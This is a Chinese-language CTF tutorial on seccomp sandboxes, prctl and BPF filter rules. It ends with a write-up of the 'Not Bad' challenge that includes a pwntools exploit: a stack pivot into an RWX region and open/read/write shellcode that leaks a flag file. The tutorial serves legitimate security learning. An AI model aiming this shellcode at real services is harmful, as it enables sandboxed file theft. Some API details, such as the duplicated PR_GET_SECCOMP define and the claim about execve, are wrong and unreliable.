# 初识 Pwn 沙箱
沙箱机制,英文 sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
安全计算模式 seccomp(Secure Computing Mode)在 Linux2.6.10 之后引入到 kernel 的特性,可用其实现一个沙箱环境。使用 seccomp 模式可以定义系统调用白名单和黑名单。seccomp 机制用于限制应用程序可以使用的系统调用,增加系统的安全性。
在 ctf 中主要通过两种方式实现沙箱机制:
# 1、prctl 函数初探
prctl 是基本的进程管理函数,最原始的沙箱规则就是通过 prctl 函数来实现的,它可以决定有哪些系统调用函数可以被调用,哪些系统调用函数不能被调用。
下面是 /linux/prctl.h 和 seccomp 相关的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #define PR_GET_SECCOMP 21 #define PR_GET_SECCOMP 22 #define PR_SET_NO_NEW_PRIVS 38 #define PR_GET_NO_NEW_PRIVS 39
prctl 函数原型 :int prctl (int option,unsigned long argv2,unsigned long argv3,unsigned long argv4,unsigned long argv3)
在具体了解 prctl 函数之前,我们再了解这样一个概念:沙箱。沙箱 (Sandbox) 是程序运行过程中的一种隔离机制,其目的是限制不可信进程和不可信代码的访问权限。seccomp 是内核中的一种安全机制,seccomp 可以在程序中禁用掉一些系统调用来达到保护系统安全的目的,seccomp 规则的设置,可以使用 prctl 函数和 seccomp 函数族。
include/linux/prctl.h 里面存储着 prctl 的所有参数的宏定义,prctl 的五个参数中,其中第一个参数是你要做的事情,后面的参数都是对第一个参数的限定。
在第一个参数中,我们需要重点关注的参数有这两个:
PR_SET_SECCOMP (22):当第一个参数是 PR_SET_SECCOMP, 第二个参数 argv2 为 1 的时候,表示允许的系统调用有 read,write,exit 和 sigereturn;当 argv 等于 2 的时候,表示允许的系统调用由 argv3 指向 sock_fprog 结构体定义,该结构体成员指向的 sock_filter 可以定义过滤任意系统调用和系统调用参数。(细节见下图)
PR_SET_NO_NEWPRIVS (38):prctl (38,1,0,0,0) 表示禁用系统调用 execve () 函数,同时,这个选项可以通过 fork () 函数和 clone () 函数继承给子进程。
1 2 3 4 struct sock_fprog { unsigned short len; struct sock_filter *filter ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; }; struct seccomp_data { int nr; __u32 arch; __u64 instruction_pointer; __u64 argv[6 ]; }
# 2、prctl () 函数详解
prctl
是一个系统调用,用于控制和修改进程的行为和属性。它可以在 Linux 系统上使用,提供了各种功能和选项来管理进程的不同方面。
以下是 prctl
函数的基本原型:
1 2 3 #include <sys/prctl.h> int prctl (int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) ;
prctl 函数接受不同的 option 选项和参数,用于执行不同的操作。下面是一些常用的 option 选项及其功能:
PR_SET_NAME:设置进程名称。
PR_GET_NAME:获取进程名称。
PR_SET_PDEATHSIG:设置在父进程终止时发送给当前进程的信号。
PR_GET_PDEATHSIG:获取父进程终止时发送给当前进程的信号。
PR_SET_DUMPABLE:设置进程的可转储标志,影响核心转储。
PR_GET_DUMPABLE:获取进程的可转储标志。
PR_SET_SECCOMP:设置进程的安全计算模式。
PR_GET_SECCOMP:获取进程的安全计算模式。
这些仅是一些常用的选项, prctl
还支持其他选项和功能。每个选项都有特定的参数,可以根据需要传递。具体的参数和行为取决于所选的选项。
以下是一个简单的示例,展示了如何使用 prctl
函数设置进程名称:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #define _GNU_SOURCE #include <sys/prctl.h> #include <stdio.h> int main () { const char * process_name = "MyProcess" ; if (prctl(PR_SET_NAME, (unsigned long ) process_name) == -1 ) { perror("prctl" ); return 1 ; } char name[16 ]; if (prctl(PR_GET_NAME, (unsigned long ) name) == -1 ) { perror("prctl" ); return 1 ; } printf ("Process name: %s\n" , name); return 0 ; }
在上述示例中,我们使用 prctl 函数将当前进程的名称设置为 "MyProcess"。然后,我们再次使用 prctl 函数获取进程的名称,并将其打印到标准输出。
请注意,prctl 函数的具体行为和可用选项可能因操作系统和版本而异。在使用 prctl 函数时,应该查阅相关文档并了解所使用的操作系统的支持和限制。
# 3、BPF 过滤规则 (伯克利封装包过滤)
突破沙箱规则,本质上就是一种越权漏洞。seccomp 是 linux 保护进程安全的一种保护机制,它通过对系统调用函数的限制,来保护内核态的安全。所谓沙箱,就是把用户态和内核态相互分离开,让用户态的进程,不要影响到内核态,从而保证系统安全。
如果我们在沙箱中,完全遵守 seccomp 机制,我们便只能调用 exit (),sigreturn (),read () 和 write () 这四种系统调用,那么其实我们的进程应该是安全的(其实也不一定,后面的例题就没有溢出,而是通过系统调用直接读取文件)。但是,由于他的规则过于死板,所以后面出现了过滤模式,让我们可以调用到那些系统调用。回顾上面提到的 PT_SET_SECCOMP 这个参数,后面接到的第一个参数,就是它设置的模式,第三个参数,指向 sock_fprog 结构体,sock_fprog 结构体中,又有指向 sock_filter 结构体的指针,sock_filter 结构体这里,就是我们要设置规则的地方。
我们在设置过滤规则,在面对沙箱题目的时候,会经常用到 Seccomp-tools 这个工具。
BPF 指令集简介
BPF_LD:加载操作,BPF_H 表示按照字节传送,BPF_W 表示按照双字来传送,BPF_B 表示传送单个字节。
BPF_LDX:从内存中加载 byte/half-word/word/double-word。
BPF_ST,BPF_STX:存储操作
BPF_ALU,BPT_ALU64:逻辑操作运算。
BPT_JMP:跳转操作,可以和 JGE,JGT,JEQ,JSET 一起表示有条件的跳转,和 BPF_JA 一起表示没有条件的跳转。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stddef.h> #include <linux/seccomp.h> #include <linux/filter.h> #include <sys/prctl.h> #include <linux/bpf.h> #include <sys/types.h> int main () { struct sock_filter filter []= { BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0 ), BPF_JUMP(BPF_JMP|BPF_JEQ, 59 , 1 , 0 ), BPF_JUMP(BPF_JMP|BPF_JGE, 0 , 1 , 0 ), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ERRNO), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len=sizeof (filter)/sizeof (sock_filter[0 ]), .filter=filter, }; prctl(PR_SET_NO_NEW_PRIVS,1 ,0 ,0 ,0 ); prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog); puts ("123" ); return 0 ; }
开始的时候,我们设置了 sock_filter 结构体数组。这里为什么是一个结构体数组呢?因为我们看到里面有 BPF_STMT 和 BPF_JMP 的宏定义,其实 BPF_STMT 和 BPF_JMP 都是条件编译后赋值的 sock_filter 结构体。
1 2 3 4 5 6 #ifndef BPF_STMT #define BPF_STMT(code,k){(unsigned short)(code),0,0,k} #endif #ifndef BPF_JUMP #define BPF_JUMP(code,k,jt,jf){(unsigned short)(code),jt,jf,k} #endif
上面的例子中禁用了 execve 的系统调用号,64 位系统中 execve 的系统调用号是 59.
BPF_JUMP 后的第二个参数是我们要设置的需要禁用的系统调用号。
我们在这里禁用的两个系统调用分别是 sys_restart_syscall 和 execve,如果出现这两个系统调用,那么我们就会跳转到 BPF_STMP (BPF_RET+BPF_K,SECCOMP_RET_ERRNO) 的异常处理。其实,如果我们要直接杀死这个进程的话,BPF_STMP (BPF_RET+BPF_K,SECCOMP_RET_KILL) 这个规则可以直接杀死进程。
GitHub 上的一个真实例子:
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include <errno.h> #include <linux/audit.h> #include <linux/bpf.h> #include <linux/filter.h> #include <linux/seccomp.h> #include <linux/unistd.h> #include <stddef.h> #include <stdio.h> #include <sys/prctl.h> #include <unistd.h> static int install_filter (int nr, int arch, int error) { struct sock_filter filter [] = { BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, arch))), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, arch, 0 , 3 ), BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, nr, 0 , 1 ), BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ERRNO | (error & SECCOMP_RET_DATA)), BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = (unsigned short )(sizeof (filter) / sizeof (filter[0 ])), .filter = filter, }; if (prctl(PR_SET_NO_NEW_PRIVS, 1 , 0 , 0 , 0 )) { perror("prctl(NO_NEW_PRIVS)" ); return 1 ; } if (prctl(PR_SET_SECCOMP, 2 , &prog)) { perror("prctl(PR_SET_SECCOMP)" ); return 1 ; } return 0 ; } int main () { printf ("hey there!\n" ); install_filter(__NR_write, AUDIT_ARCH_X86_64, EPERM); printf ("something's gonna happen!!\n" ); printf ("it will not definitely print this here\n" ); return 0 ; }
用 seccomp-tools
来 dump 下看看:
1 2 3 4 5 6 7 8 9 10 g01den@MSI:~/CTest/seccomp$ seccomp-tools dump ./prctl hey there! line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x03 0xc000003e if (A != ARCH_X86_64) goto 0005 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0005 0004: 0x06 0x00 0x00 0x00050001 return ERRNO(1) 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
禁用掉之后,我们通过 seccomp 来 dump 一下。我们看到,最前面的就是 sock_filter 结构体的四个参数,后面的,就是 bpf 规则的汇编表示。
# 4、orw:
# [极客大挑战 2019] Not Bad:
先检查下保护:
1 2 3 4 5 6 7 8 9 g01den@MSI:~/Temp$ checksec pwn [*] '/home/g01den/Temp/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments
没有开保护,且存在 RWX 段,IDA 看看:
1 2 3 4 5 6 7 8 __int64 __fastcall main (int a1, char **a2, char **a3) { mmap((void *)0x123000 , 0x1000 uLL, 6 , 34 , -1 , 0LL ); sub_400949(); sub_400906(); sub_400A16(); return 0LL ; }
函数名等等有问题,试着恢复下:
1 2 3 4 5 6 7 8 __int64 __fastcall main (int a1, char **a2, char **a3) { mmap((void *)0x123000 , 0x1000 uLL, 6 , 34 , -1 , 0LL ); seccomp(); init_0(); vuln(); return 0LL ; }
简单恢复了下之后是这样,先看看 seccomp 函数,里面很明显存在沙盒(可能是种不专业的说法):
1 2 3 4 5 6 7 8 9 10 11 __int64 seccomp () { __int64 v1; v1 = seccomp_init(0LL ); seccomp_rule_add(v1, 2147418112LL , 0LL , 0LL ); seccomp_rule_add(v1, 2147418112LL , 1LL , 0LL ); seccomp_rule_add(v1, 2147418112LL , 2LL , 0LL ); seccomp_rule_add(v1, 2147418112LL , 60LL , 0LL ); return seccomp_load(v1); }
好,那么直接用 seccomp-tools 工具 dump 一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 g01den@MSI:~/Temp$ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
最后发现可以利用的系统调用有 orw 三个,那么看看 vuln 函数:
1 2 3 4 5 6 7 8 int sub_400A16 () { char buf[32 ]; puts ("Easy shellcode, have fun!" ); read(0 , buf, 0x38 uLL); return puts ("Baddd! Focu5 me! Baddd! Baddd!" ); }
这里存在栈溢出,感觉可以打 shellcode,但是,明显发现栈的长度不够 ret2shellcode,推测一手栈迁移,试试看。
经过动调之后,发现在执行到函数 mmap 之后,存在一个可写可执行权限的内存段(扔一个小知识点:这里 mmap 参数类型是(起始地址,大小,保护类,文件描述符] 等)):
1 2 3 4 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File 0x123000 0x124000 -wxp 1000 0 [anon_00123]
可以将栈迁移到这儿去,再执行 shellcode 或者 syscall 读文件,不过,这个要之后再说了。大概思路说下吧,先通过 shellcode 调用 read 函数将读文件写入内存然后输出这样的一个顺序,先贴一下 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *Locale = 0 if Locale == 1 : io = process('./pwn' ) else : io = remote("node5.buuoj.cn" ,26888 ) context(arch='amd64' , os='linux' , log_level='debug' ) def exp (): mnap = 0x123000 jmp_rsp = 0x0400a01 io.recvuntil("Easy shellcode, have fun!\n" ) shellcode = asm(shellcraft.read(0 ,mnap,0x100 )) shellcode += asm('mov rax,0x123000;call rax' ) payload = shellcode.ljust(0x28 ,b'a' )+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp" ) io.send(payload) payload2 = asm(shellcraft.open ('./flag' )+shellcraft.read(3 ,mnap+0x100 ,0x100 )+shellcraft.write(1 ,mnap+0x100 ,0x100 )) io.send(payload2) exp() io.interactive()
# 参考文章:
从 prctl 函数开始学习沙箱规则
BPF 详解
函数 prctl 系统调用